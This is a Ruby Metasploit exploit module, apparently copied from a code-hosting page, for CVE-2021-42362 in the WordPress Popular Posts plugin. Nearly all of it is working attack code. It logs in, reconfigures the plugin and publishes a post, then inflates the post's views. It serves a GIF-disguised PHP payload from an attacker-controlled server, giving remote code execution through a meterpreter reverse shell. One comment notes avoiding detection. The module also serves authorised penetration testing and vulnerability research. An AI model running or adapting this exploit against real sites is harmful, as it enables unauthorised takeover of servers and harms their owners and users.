435 lines
18 KiB
Ruby
435 lines
18 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Wordpress Popular Posts Authenticated RCE',
|
|
'Description' => %q{
|
|
This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.
|
|
The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request
|
|
for the payload, prior to getting a GET request.
|
|
This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2.
|
|
The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server.
|
|
Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.
|
|
A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once
|
|
the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded
|
|
which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a
|
|
double extension ('.gif.php') allowing for arbitrary PHP code to be executed.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'Simone Cristofaro', # edb
|
|
'Jerome Bruandet' # original analysis
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '50129' ],
|
|
[ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],
|
|
[ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],
|
|
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],
|
|
[ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],
|
|
[ 'CVE', '2021-42362' ]
|
|
],
|
|
'Platform' => ['php'],
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Privileged' => false,
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [
|
|
[ 'Automatic Target', {}]
|
|
],
|
|
'DisclosureDate' => '2021-06-11',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
|
|
'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('USERNAME', [true, 'Username of the account', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),
|
|
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),
|
|
# https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560
|
|
OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),
|
|
# https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584
|
|
OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),
|
|
]
|
|
end
|
|
|
|
def check
|
|
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?
|
|
|
|
checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')
|
|
if checkcode == CheckCode::Safe
|
|
print_error('Popular Posts not a vulnerable version')
|
|
end
|
|
return checkcode
|
|
end
|
|
|
|
def trigger_payload(on_disk_payload_name)
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'keep_cookies' => true
|
|
)
|
|
# loop this 5 times just incase there is a time delay in writing the file by the server
|
|
(1..5).each do |i|
|
|
print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5")
|
|
Rex.sleep(10)
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),
|
|
'keep_cookies' => true
|
|
)
|
|
end
|
|
if res && res.code == 404
|
|
print_error('Failed to find payload, may not have uploaded correctly.')
|
|
end
|
|
end
|
|
|
|
def on_request_uri(cli, request, payload_name, post_id)
|
|
if request.method == 'HEAD'
|
|
print_good('Responding to initial HEAD request (passed check 1)')
|
|
# according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length
|
|
# however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.
|
|
# also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught
|
|
return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s })
|
|
end
|
|
if request.method == 'GET'
|
|
on_disk_payload_name = "#{post_id}_#{payload_name}"
|
|
register_file_for_cleanup(on_disk_payload_name)
|
|
print_good('Responding to GET request (passed check 2)')
|
|
send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif')
|
|
close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions
|
|
Rex.sleep(2) # wait for WP to finish all the checks it needs
|
|
trigger_payload(on_disk_payload_name)
|
|
end
|
|
print_status("Received unexpected #{request.method} request")
|
|
end
|
|
|
|
def check_gd_installed(cookie)
|
|
vprint_status('Checking if gd is installed')
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
|
|
'method' => 'GET',
|
|
'cookie' => cookie,
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'page' => 'wordpress-popular-posts',
|
|
'tab' => 'debug'
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
|
|
res.body.include? ' gd'
|
|
end
|
|
|
|
def get_wpp_admin_token(cookie)
|
|
vprint_status('Retrieving wpp_admin token')
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
|
|
'method' => 'GET',
|
|
'cookie' => cookie,
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'page' => 'wordpress-popular-posts',
|
|
'tab' => 'tools'
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
|
|
/<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body
|
|
Regexp.last_match(1)
|
|
end
|
|
|
|
def change_settings(cookie, token)
|
|
vprint_status('Updating popular posts settings for images')
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
|
|
'method' => 'POST',
|
|
'cookie' => cookie,
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'page' => 'wordpress-popular-posts',
|
|
'tab' => 'debug'
|
|
},
|
|
'vars_post' => {
|
|
'upload_thumb_src' => '',
|
|
'thumb_source' => 'custom_field',
|
|
'thumb_lazy_load' => 0,
|
|
'thumb_field' => 'wpp_thumbnail',
|
|
'thumb_field_resize' => 1,
|
|
'section' => 'thumb',
|
|
'wpp-admin-token' => token
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body
|
|
end
|
|
|
|
def clear_cache(cookie, token)
|
|
vprint_status('Clearing image cache')
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
|
|
'method' => 'POST',
|
|
'cookie' => cookie,
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'page' => 'wordpress-popular-posts',
|
|
'tab' => 'debug'
|
|
},
|
|
'vars_post' => {
|
|
'action' => 'wpp_clear_thumbnail',
|
|
'wpp-admin-token' => token
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
|
|
end
|
|
|
|
def enable_custom_fields(cookie, custom_nonce, post)
|
|
# this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.
|
|
res = send_request_cgi!(
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'),
|
|
'cookie' => cookie,
|
|
'keep_cookies' => true,
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'toggle-custom-fields-nonce' => custom_nonce,
|
|
'_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit",
|
|
'action' => 'toggle-custom-fields'
|
|
}
|
|
)
|
|
/name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body
|
|
Regexp.last_match(1)
|
|
end
|
|
|
|
def create_post(cookie)
|
|
vprint_status('Creating new post')
|
|
# get post ID and nonces
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),
|
|
'cookie' => cookie,
|
|
'keep_cookies' => true
|
|
)
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
|
|
/name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body
|
|
/wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body
|
|
/},"post":{"id":(?<post_id>\d*)/ =~ res.body
|
|
if ajax_nonce.nil?
|
|
print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')
|
|
/name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body
|
|
ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)
|
|
end
|
|
unless ajax_nonce.nil?
|
|
vprint_status("ajax nonce: #{ajax_nonce}")
|
|
end
|
|
unless wp_nonce.nil?
|
|
vprint_status("wp nonce: #{wp_nonce}")
|
|
end
|
|
unless post_id.nil?
|
|
vprint_status("Created Post: #{post_id}")
|
|
end
|
|
fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id
|
|
|
|
# publish new post
|
|
vprint_status("Writing content to Post: #{post_id}")
|
|
# this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'method' => 'POST',
|
|
'cookie' => cookie,
|
|
'keep_cookies' => true,
|
|
'ctype' => 'application/json',
|
|
'accept' => 'application/json',
|
|
'vars_get' => {
|
|
'_locale' => 'user',
|
|
'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)
|
|
},
|
|
'data' => {
|
|
'id' => post_id,
|
|
'title' => Rex::Text.rand_text_alphanumeric(20..30),
|
|
'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->",
|
|
'status' => 'publish'
|
|
}.to_json,
|
|
'headers' => {
|
|
'X-WP-Nonce' => wp_nonce,
|
|
'X-HTTP-Method-Override' => 'PUT'
|
|
}
|
|
)
|
|
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'
|
|
return post_id, ajax_nonce, wp_nonce
|
|
end
|
|
|
|
def add_meta(cookie, post_id, ajax_nonce, payload_name)
|
|
payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"
|
|
vprint_status("Adding malicious metadata for redirect to #{payload_url}")
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
|
'method' => 'POST',
|
|
'cookie' => cookie,
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'_ajax_nonce' => 0,
|
|
'action' => 'add-meta',
|
|
'metakeyselect' => 'wpp_thumbnail',
|
|
'metakeyinput' => '',
|
|
'metavalue' => payload_url,
|
|
'_ajax_nonce-add-meta' => ajax_nonce,
|
|
'post_id' => post_id
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"
|
|
end
|
|
|
|
def boost_post(cookie, post_id, wp_nonce, post_count)
|
|
# redirect as needed
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'keep_cookies' => true,
|
|
'cookie' => cookie,
|
|
'vars_get' => { 'page_id' => post_id }
|
|
)
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301
|
|
print_status("Sending #{post_count} views to #{res.headers['Location']}")
|
|
location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>
|
|
(1..post_count).each do |_c|
|
|
res = send_request_cgi!(
|
|
'uri' => "/#{location}",
|
|
'cookie' => cookie,
|
|
'keep_cookies' => true
|
|
)
|
|
# just send away, who cares about the response
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
|
|
res = send_request_cgi(
|
|
# this URL varies from the POC on EDB, and is modeled after what the browser does
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'vars_get' => {
|
|
'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')
|
|
},
|
|
'keep_cookies' => true,
|
|
'method' => 'POST',
|
|
'cookie' => cookie,
|
|
'vars_post' => {
|
|
'_wpnonce' => wp_nonce,
|
|
'wpp_id' => post_id,
|
|
'sampling' => 0,
|
|
'sampling_rate' => 100
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201
|
|
end
|
|
fail_with(Failure::Unreachable, 'Site not responding') unless res
|
|
end
|
|
|
|
def get_top_posts
|
|
print_status('Determining post with most views')
|
|
res = get_widget
|
|
/>(?<views>\d+) views</ =~ res.body
|
|
views = views.to_i
|
|
print_status("Top Views: #{views}")
|
|
views += 5 # make us the top post
|
|
unless datastore['VISTS'].nil?
|
|
print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")
|
|
views = datastore['VISITS']
|
|
end
|
|
views
|
|
end
|
|
|
|
def get_widget
|
|
# load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond
|
|
# which then would kill the exploit, so in this case we just keep trying.
|
|
(1..10).each do |_|
|
|
@res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'keep_cookies' => true
|
|
)
|
|
break unless @res.nil?
|
|
end
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
|
|
/data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body
|
|
# load the widget directly
|
|
(1..10).each do |_|
|
|
@res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'is_single' => 0
|
|
}
|
|
)
|
|
break unless @res.nil?
|
|
end
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
|
|
@res
|
|
end
|
|
|
|
def exploit
|
|
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
|
|
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
|
|
if cookie.nil?
|
|
vprint_error('Invalid login, check credentials')
|
|
return
|
|
end
|
|
|
|
payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"
|
|
vprint_status("Payload file name: #{payload_name}")
|
|
|
|
fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)
|
|
post_count = get_top_posts
|
|
|
|
# we dont need to pass the cookie anymore since its now saved into http client
|
|
token = get_wpp_admin_token(cookie)
|
|
vprint_status("wpp_admin_token: #{token}")
|
|
change_settings(cookie, token)
|
|
clear_cache(cookie, token)
|
|
post_id, ajax_nonce, wp_nonce = create_post(cookie)
|
|
print_status('Starting web server to handle request for image payload')
|
|
start_service({
|
|
'Uri' => {
|
|
'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },
|
|
'Path' => "/#{payload_name}"
|
|
}
|
|
})
|
|
|
|
add_meta(cookie, post_id, ajax_nonce, payload_name)
|
|
boost_post(cookie, post_id, wp_nonce, post_count)
|
|
print_status('Waiting 90sec for cache refresh by server')
|
|
Rex.sleep(90)
|
|
print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')
|
|
res = get_widget
|
|
print_good('We made it to the top!') if res.body.include? payload_name
|
|
# if res.body.include? datastore['SRVHOSTNAME']
|
|
# fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")
|
|
# end
|
|
# at this point, we rely on our web server getting requests to make the rest happen
|
|
end
|
|
end
|